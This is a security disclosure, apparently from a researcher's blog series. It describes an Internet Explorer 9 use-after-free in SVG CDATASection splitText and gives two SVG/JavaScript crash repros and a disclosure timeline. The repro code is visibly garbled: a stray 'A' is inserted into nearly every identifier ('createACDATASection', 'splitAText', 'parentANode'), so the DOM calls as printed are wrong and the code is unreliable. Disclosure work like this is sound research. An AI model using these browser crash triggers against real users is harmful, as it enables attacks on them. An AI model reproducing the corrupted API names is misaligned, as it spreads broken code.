Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 33rd entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161215001.html. There you can find a repro
that triggered this issue in addition to the information below.
If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.
Follow me on http://twitter.com/berendjanwever for daily browser bugs.
MSIE 9 IEFRAME CMarkupPointer::MoveToGap use-after-free
=======================================================
(The fix and CVE number for this issue are not known)
Synopsis
--------
A specially crafted web-page can trigger a use-after-free vulnerability
in Microsoft Internet Explorer 9. The use appears to happen only once
almost immediately after the free, which makes practical exploitation
unlikely.
Known affected software and attack vectors
------------------------------------------
* Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially
crafted web-page. Disabling JavaScript should prevent an attacker
from triggering the vulnerable code path.
Details
-------
It appears there is an implementation bug in the `splitText` method of
`CDATASection` (Text) objects in SVG. `splitText` should split a `Text`
node into two `Text` nodes, by creating a new `Text` node and moving
some of the text data from the original node to the new node. After
this, each node contains a sub-string of the original text.
The bug can be triggered by calling this method with zero as the index
argument on a `CDATASection` which contains some text. In this case, the
code will return a new `Text` node that contains the entire text but it
does not remove the text from the original node. I am speculating that
this causes an additional reference to the test data without increasing
its reference counter. This failure to increase the reference counter
can cause this reference counter to drop to zero before all references
are destroyed.
I believe this is the case because the below repro triggers a use-after-free.
<svg xmlns='http://www.w3.org/2000/svg'>
<script type="text/javascript">
var oACDATASection = document.createACDATASection("Aa");
oATextANode1 = oACDATASection.splitAText(0);
alert("Expected ''+'Aa', got '" + oACDATASection.wholeAText + "'+'" + oATextANode1.wholeAText + "'");
oACDATASection.appendAData("Bb");
alert("Expected 'Bb'+'Aa', got '" + oACDATASection.wholeAText + "'+'" + oATextANode1.wholeAText + "'");
oATextANode3 = oACDATASection.splitAText(0);
// Uncommenting the following line prevents the crash - not sure why.
// alert("Expected ''+'Bb'+'Aa', got '" + oACDATASection.wholeAText + "'+'" + oATextANode3.wholeAText + "'+'" + oATextANode1.wholeAText + "'");
oATextANode3.replaceAWholeAText("Cc");
</script>
</svg>
I've created another, more complex repro as well:
Repro.svg
<svg xmlns='http://www.w3.org/2000/svg'>
<script type="text/javascript">
function B(bAValue) { return bAValue ? "T" : "F" };
var oAElement = document.createAElement("x");
var oACDATASection = document.createACDATASection("AB");
oAElement.appendAChild(oACDATASection);
// splitAText should split a Text node into two text Nodes, each containing a substring of the data of the original Text node.
// However, MSIE does not implement this correctly, causing both Text nodes to refer to the same data.
oATextANode1 = oACDATASection.splitAText(0);
alert("[AB**|AB**AB=AB]\r\n[" +
oAElement.textAContent + "**" +
oACDATASection.nodeAValue + "|" + oATextANode1.nodeAValue + "**" +
oACDATASection.wholeAText + "=" + oATextANode1.wholeAText + "]");
oACDATASection.appendAData("CD");
alert("[CDAB**CD|AB**CDAB=CDAB]TT\r\n[" +
oAElement.textAContent + "**" +
oACDATASection.nodeAValue + "|" + oATextANode1.nodeAValue + "**" +
oACDATASection.wholeAText + "=" + oATextANode1.wholeAText + "]" +
B(oACDATASection.parentANode === oAElement) + B(oATextANode1.parentANode === oAElement)
);
var oATextANode2 = oACDATASection.splitAText(0);
alert("[CDAB**|CD|AB**CDAB=CDAB=CDAB]TTT\r\n[" +
oAElement.textAContent + "**" +
oACDATASection.nodeAValue + "|" + oATextANode2.nodeAValue + "|" + oATextANode1.nodeAValue + "**" +
oACDATASection.wholeAText + "=" + oATextANode2.wholeAText + "=" + oATextANode1.wholeAText + "]" +
B(oACDATASection.parentANode === oAElement) + B(oATextANode2.parentANode === oAElement) + B(oATextANode1.parentANode === oAElement)
);
var oATextANode3 = oACDATASection.replaceAWholeAText("EF");
alert("[EF**EF||**EF=EF=EF]TFF\r\n[" +
oAElement.textAContent + "**" +
oACDATASection.nodeAValue + "|" + oATextANode2.nodeAValue + "|" + oATextANode1.nodeAValue + "**" +
oACDATASection.wholeAText + "=" + oATextANode2.wholeAText + "=" + oATextANode1.wholeAText + "]" +
oACDATASection.parentANode + "/" + oATextANode2.parentANode + "/" + oATextANode1.parentANode
);
</script>
</svg>
Time-line
---------
* Unknown date: This vulnerability was found through fuzzing.
* 12 December 2012: This vulnerability was submitted to EIP.
* 21 January 2013: This vulnerability was rejected by EIP.
* Unknown date: This vulnerability was address by Microsoft.
* 15 December 2016: Details of this vulnerability are released.
Cheers,
SkyLined